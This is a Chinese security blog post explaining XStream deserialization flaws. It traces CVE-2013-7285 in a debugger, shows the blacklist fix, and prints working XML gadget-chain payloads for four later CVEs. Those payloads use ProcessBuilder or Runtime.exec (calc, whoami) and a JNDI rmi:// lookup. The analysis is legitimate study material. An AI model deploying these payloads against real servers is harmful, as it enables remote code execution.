XStream反序列化
发表于:2025-07-23 | 分类: Java

XStream反序列化

XStream基础

XStream简介

XStream 是一个 Java 库,用于简化 Java 对象与 XML 之间的相互转换(序列化与反序列化)。它允许开发人员将 Java 对象直接转换为 XML 格式,或从 XML 恢复为原始对象,无需编写复杂的解析代码。

XStreamDemo

这里我们来看如何使用XStream进行序列化和反序列化操作

序列化

首先定义接口

1
2
3
public interface IPerson {
void output();
}

然后定义Person类实现前面的接口

1
2
3
4
5
6
7
8
public class Person implements IPerson {
String name;
int age;

public void output() {
System.out.print("Hello, this is " + this.name + ", age " + this.age);
}
}

XStream序列化使用XStream.toXML()来实现类到XML的转化

1
2
3
4
5
6
7
8
9
10
11
12
import com.thoughtworks.xstream.XStream;

public class Serialize {
public static void main(String[] args) {
Person person = new Person();
person.name = "Sean";
person.age =18;
String xml = new XStream().toXML(person);
System.out.println(xml);
}
}

序列化后的XML数据如下

1
2
3
4
<Person>
<name>Sean</name>
<age>18</age>
</Person>

反序列化

同样的定义接口和类,XStream反序列化是通过XStream.fromXML()实现的,其中获取XML文件内容的方式可以通过Scanner或者FileInputStream均可

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

import java.io.FileInputStream;

public class Deserialize {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("demo.xml");
Person person = (Person) new XStream(new DomDriver()).fromXML(fileInputStream);
person.output();
}
}

运行结果如下

前置知识

XStream总体由五个部分组成,其类图如下:

EventHandler类

EventHandler类是实现了InvocationHandler的一个类 ,设置的本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接

EventHandler类定义的代码如下,其含有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class EventHandler implements InvocationHandler {  
private Object target;
private String action;
...

public Object invoke(final Object proxy, final Method method, final Object[] arguments) {
...
return invokeInternal(proxy, method, arguments);
...
}

private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
...

Method targetMethod = Statement.getMethod(
target.getClass(), action, argTypes);
...
return MethodUtil.invoke(targetMethod, target, newArgs);
}
...
}

...
}

Converter转换器

XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

具体参考:http://x-stream.github.io/converters.html

DynamicProxyConverter 动态代理转换器

DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象:

XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。以官方给的例子为例:

1
2
3
4
5
6
7
<dynamic-proxy>  
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>

dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blahcom.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler

漏洞复现与分析

漏洞原理

XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。

利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。

CVE-2013-7285

漏洞复现

sorted-set类型的Poc如下,该Poc影响版本为:

  • 1.3.1<XStream<1.4
  • 1.4.5<=XStream<=1.4.6
  • 1.4.10
1
2
3
4
5
6
7
8
9
10
11
12
13
<sorted-set>  
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>Calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

tree-map类型的Poc如下,该Poc影响版本为:

  • <=1.4.6
  • 1.4.10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>-na</string>
<string>Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>

使用以下代码来模拟漏洞环境

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

import java.io.FileInputStream;

// CVE_2013_7285 Exploit
public class CVE_2013_7285 {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("demo.xml");
XStream xStream = new XStream(new DomDriver());
xStream.fromXML(fileInputStream);
}
}

成功触发

漏洞分析

现在我们对解析流程进行追踪,在`AbstractTreeMarshallingStrategy`的`unmarshal`方法中调用了`TreeUnmarshaller`的`start`方法,即开始解析XML内容

TreeUnmarshaller#start中,可以看到调用了HierarchicalStreams.readClassType()方法,该方法的作用是获取到XML中根标签的标签类型

readClassType方法中会进行递归遍历,直到找到根标签的标签类型

接着会调用convertAnother函数,对java.util.SortedSet类型进行转换,跟进该函数,调用mapper.defaultImplementationOf()函数来寻找java.util.SortedSet类型的默认实现类型进行替换,这里转换成了java.util.TreeSet类型

接着调用converterLookup.lookupConverterForType()来寻找TreeSet对应类型的转换器,通过迭代this.converters,直到找出能转换TreeSet类型的Converter

接着往下调试,在AbstractReferenceUnmarshaller.convert()函数中看到,会调用getCurrentReferenceKey来获取当前的Reference键即标签名,接着将当前标签名压入parenStack栈中

然后走入其父类的convert函数中,继续走进DynamicProxyConverterunmarshal中,这里会按标签的内容生成对应接口的动态代理,此时这里的DUMMY是一个空代理的实现

回到DynamicProxyConverterunmarshal方法,里面调用了

treeMapConverter.unmarshalComparator 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。

下面的 reader.movedown方法用来获取子元素,并把子元素添加到当前 context 的 pathTracker中

跟进之后就变得一目了然了,其中判断 reader 是否还有子元素

继续往下执行handler = (InvocationHandler)context.convertAnother(proxy, handlerType);,接下来转换器转换最终得到EventHandler

然后进行代理的替换

往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中:

跟进去,发现调用 readItem 方法读取标签内的内容并缓存到当前 Map 中

走到readItem方法中,发现他又调用了readClassTypeconvertAnother方法,比较像递归调用的意思。而这里的元素已经成了第二个元素<dynamic-proxy>

通过查看 mapper 可以知道,目前保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个)

经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,找到对应的转换器为 DynamicProxyConverter

首先判断当前元素是否还有子元素,如果存在子元素,则进行后续的判断

根据编写的xml,获取的子元素为<interface>,经过判断if (elementName.equals("interface")),获取当前<interface>的元素,再将其转换类型

如果仍然存在子元素,再获取完<interface>后,会进行下一次的遍历,我们xml中下一个子元素为<handler>,则获取标签所的对应类,并跳出迭代

继续向下调试,会调用Proxy.newProxyInstance方法,这是动态代理中实例化代理类的过程。接着调用了context.convertAnother方法。

对应转换器为AbstractReflectionConverter,这里先会调用instantiateNewInstance方法实例化一个EventHandler

继续向下跟进doUnmarshal方法,这里有是内部递归,在这里也看到了hasChildren方法。从 xml 中也 可以看到 <handler> 节点之下还有很多子节点

剩下的都是类似的流程了

将所有节点过完以后,最终会走到treeMapConverter.populateTreeMap,跟进到put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据。

在大多数的put方法中,都会调用其compare方法,因此后面会走到EventHandler#invoke方法中,进行反射调用导致命令执行

最终是调用到EventHandler#invoke方法,调用栈如下

1
2
3
4
5
6
7
invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1294, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

漏洞修复

根据官方的修复手段,这里其实增加了黑名单
1
2
3
4
5
6
7
8
9
10
11
12
13
xstream.registerConverter(new Converter() {
public boolean canConvert(Class type) {
return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
}

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}

public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);

CVE-2021-21344

超长Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

CVE-2021-21351

Poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

CVE-2020-26217

漏洞Poc如下,这里通过一个黑名单之外的gadget,可以成功绕过之前的补丁造成远程命令执行。包括1.4.13在内的所有版本都会受到漏洞的影响。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

CVE-2021-39144

这条链是纯原生反序列化利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='java.lang.Runtime'/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>whoami</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
下一篇:
Log4j2远程代码执行